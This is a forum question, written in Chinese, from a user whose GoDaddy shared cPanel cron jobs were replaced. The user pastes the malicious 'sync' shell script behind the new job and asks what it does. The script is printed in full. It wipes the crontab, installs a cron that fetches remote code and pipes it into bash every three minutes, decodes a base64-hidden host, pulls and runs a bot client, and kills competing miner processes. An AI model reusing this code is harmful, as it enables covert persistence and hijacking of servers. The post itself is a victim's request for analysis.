我所有的 cron 都从 godaddy 共享 cpanel 帐户中删除,并创建了一个新的 cron。cpanel 上的其余内容完好无损(意味着未删除或更改)。但是可以复制。
这是删除所有 cron 后在我的 cpanel 中列出的 cron。
curl -sk "http://static.megalodon.host/sync?time=1617860528" | bash > /dev/null 2>&1
同步文件的内容如下。由于我不是 Linux shell 脚本专家,所以我不明白这个脚本在做什么?
export OLDPWD=/
export PATH="$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
declare -a EXCLUDES=( '104.152.52.22' '176.235.208.210' '95.216.118.244' '91.215.169.111' '193
.33.87.219' '49.88.112.117' '218.92.0.212' '222.186.31.135' '222.186.30.76' '5.188.134.78' '20.37.96.167' '106.12.18.225' '193.33.87.219')
REPO=$(echo aHR0cDovL3N0YXRpYy5tZWdhbG9kb24uaG9zdA== | base64 -d)
DP=$(dirname $(mktemp -u))
#cron
if (crontab -r) > /dev/null 2>&1;then
cat > "$DP"/.sync.log << EOF
#unix
# * * * 9 * wget -q -O - http://195.3.146.118/ lol aziplcr72qjhzvin http://pastebin.com lol https://github.com lollololooo not work
*/3 * * * * curl -sk "$REPO/sync?time=$(date +%s)" | bash > /dev/null 2>&1
EOF
if (crontab "$DP"/.sync.log) > /dev/null 2>&1;then
echo "[!] SYNC : ENABLE !"
else
echo "[!] SYNC : DISABLE !"
fi
else
echo "[!] SYNC : NOT WORK !"
fi
#check
if (ps auxfe --sort=-pmem,-rss | grep '[-]unix-meta') > /dev/null 2>&1;then
echo "[!] SKIP : CLIENT EXISTS !"
elif (netstat -taepn | grep ':6667' | grep 'ESTABLISHED\|SYN_SENT') > /dev/null 2>&1;then
echo "[!] SKIP : CLIENT EXISTS !"
elif [ -f "$DP/.vmlinuz.so" ] ;then
echo "[!] SKIP : CLIENT EXISTS !"
elif [ -f "$DP/.vmlinuz.bin" ] ;then
echo "[!] SKIP : CLIENT EXISTS !"
else
echo "[!] CHECK CLIENT : FAILED - FORCE CALL!"
if (curl -sk "$REPO/join?time=$(date +%s)" | bash |grep 'OK')> /dev/null 2>&1; then
echo "[!] CALL CLIENT : COMPLETE"
else
echo "[X] CALL CLIENT : FAILED"
fi
fi
#killing dog
if [[ $EUID -ne 0 ]];then
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[t]mp/k' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[F]OREGROUND' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[u]nix/' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[.]/gs' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[x]mri' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
else
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[t]mp/k' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[u]nix/' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[.]/gs' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
for pid in $(ps auxfe --sort=-pmem,-rss | grep '[x]mri' | awk '{print $2}')
do
kill -9 "$pid" > /dev/null 2>&1
done
fi
if $(netstat -V 2>/dev/null) > /dev/null 2>&1;
then
for exclude in "${EXCLUDES[@]}"
do
for pid in $(netstat -antp 2>/dev/null| grep "$exclude" | awk '{print $7}' | sed -e "s/\/.*//g")
do
kill -9 "$pid" > /dev/null 2>&1
done
done
fi```